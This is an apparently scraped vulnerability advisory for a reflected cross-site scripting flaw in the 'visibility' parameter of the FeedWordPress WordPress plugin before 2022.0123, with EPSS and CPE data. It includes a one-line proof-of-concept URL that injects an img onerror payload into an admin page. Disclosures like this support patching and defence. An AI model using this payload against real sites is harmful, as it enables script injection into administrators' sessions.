Lucene search

K
wpvulndbAKM17WPVDB-ID:7ED050A4-27EB-4ECB-9182-1D8FA1E71571
HistoryJan 18, 2022 - 12:00 a.m.

FeedWordPress < 2022.0123 - Reflected Cross-Site Scripting (XSS)

2022-01-1800:00:00
AKM17
wpscan.com
8

0.001 Low

EPSS

Percentile

41.5%

The plugin is affected by a Reflected Cross-Site Scripting (XSS) within the “visibility” parameter.

PoC

https://example.com/wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&amp;visibility;="><img+src%3D2+onerror%3Dalert(origin)>

CPENameOperatorVersion
feedwordpresslt2022.0123

0.001 Low

EPSS

Percentile

41.5%

Related for WPVDB-ID:7ED050A4-27EB-4ECB-9182-1D8FA1E71571